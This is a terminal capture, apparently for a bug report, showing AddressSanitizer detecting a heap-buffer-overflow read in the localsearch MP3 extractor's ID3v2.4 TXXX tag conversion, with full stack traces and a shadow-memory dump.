localsearch git:(main) ✗ ASANOPTIONS=detectodrviolation=0 ./build/src/extractor/localsearch-extractor-3 --file crash-2a98a39a6ee191ac5492aff97c407f1023005243
(process:1778275): Tracker-WARNING : 20:15:26.571: No seccomp support compiled-in. ================================================================= ==1778275==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50300000aace at pc 0x769ee387d96f bp 0x7ffe245e75a0 sp 0x7ffe245e6d48 READ of size 1 at 0x50300000aace thread T0 #0 0x769ee387d96e in strlen ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:391 #1 0x769ee3fbfc57 in gconvertwithiconv (/lib/x8664-linux-gnu/libglib-2.0.so.0+0x39c57) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #2 0x769ee3fbff81 in gconvert (/lib/x8664-linux-gnu/libglib-2.0.so.0+0x39f81) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #3 0x769ee27ded14 in converttoencoding ../src/extractor/tracker-extract-mp3.c:837 #4 0x769ee27e1308 in id3v24texttoutf8 ../src/extractor/tracker-extract-mp3.c:1261 #5 0x769ee27e22d9 in extracttxxxtags ../src/extractor/tracker-extract-mp3.c:1492 #6 0x769ee27e2f83 in getid3v24tags ../src/extractor/tracker-extract-mp3.c:1635 #7 0x769ee27e602e in parseid3v24 ../src/extractor/tracker-extract-mp3.c:2286 #8 0x769ee27e75cd in parseid3v2 ../src/extractor/tracker-extract-mp3.c:2615 #9 0x769ee27e7bd0 in trackerextractgetmetadata ../src/extractor/tracker-extract-mp3.c:2697 #10 0x5ff36cac1d28 in getfilemetadata ../src/extractor/tracker-extract.c:217 #11 0x5ff36cac3a30 in trackerextractfilesync ../src/extractor/tracker-extract.c:509 #12 0x5ff36cac7f2d in runstandalone ../src/extractor/tracker-main.c:218 #13 0x5ff36cac8aa7 in domain ../src/extractor/tracker-main.c:370 #14 0x5ff36cac9475 in main ../src/extractor/tracker-main.c:469 #15 0x769ee2e2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #16 0x769ee2e2a28a in libcstartmainimpl ../csu/libc-start.c:360 #17 0x5ff36cab9684 in start (/tmp/localsearch/build/src/extractor/localsearch-extractor-3+0x12684) (BuildId: f9112407d77014a3cdb422851c1f4cce6c2b9852)
0x50300000aace is located 1 bytes after 29-byte region [0x50300000aab0,0x50300000aacd) allocated by thread T0 here: #0 0x769ee38fd340 in calloc ../../../../src/libsanitizer/asan/asanmalloclinux.cpp:77 #1 0x769ee3fe9721 in gmalloc0 (/lib/x8664-linux-gnu/libglib-2.0.so.0+0x63721) (BuildId: 94bfd21331c311d3199726de93a2656d07c22b33) #2 0x769ee27de7f9 in ununsync ../src/extractor/tracker-extract-mp3.c:767 #3 0x769ee27e5fb2 in parseid3v24 ../src/extractor/tracker-extract-mp3.c:2285 #4 0x769ee27e75cd in parseid3v2 ../src/extractor/tracker-extract-mp3.c:2615 #5 0x769ee27e7bd0 in trackerextractgetmetadata ../src/extractor/tracker-extract-mp3.c:2697 #6 0x5ff36cac1d28 in getfilemetadata ../src/extractor/tracker-extract.c:217 #7 0x5ff36cac3a30 in trackerextractfilesync ../src/extractor/tracker-extract.c:509 #8 0x5ff36cac7f2d in runstandalone ../src/extractor/tracker-main.c:218 #9 0x5ff36cac8aa7 in domain ../src/extractor/tracker-main.c:370 #10 0x5ff36cac9475 in main ../src/extractor/tracker-main.c:469 #11 0x769ee2e2a1c9 in libcstartcallmain ../sysdeps/nptl/libcstartcallmain.h:58 #12 0x769ee2e2a28a in libcstartmainimpl ../csu/libc-start.c:360 #13 0x5ff36cab9684 in start (/tmp/localsearch/build/src/extractor/localsearch-extractor-3+0x12684) (BuildId: f9112407d77014a3cdb422851c1f4cce6c2b9852)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizercommon/sanitizercommoninterceptors.inc:391 in strlen Shadow bytes around the buggy address: 0x50300000a800: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x50300000a880: fd fd fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x50300000a900: fd fd fd fd fa fa fd fd fd fd fa fa 00 00 05 fa 0x50300000a980: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x50300000aa00: fd fd fa fa fd fd fd fd fa fa fd fd fd fa fa fa =>0x50300000aa80: fd fd fd fd fa fa 00 00 00[05]fa fa 00 00 00 00 0x50300000ab00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x50300000ab80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x50300000ac00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x50300000ac80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x50300000ad00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb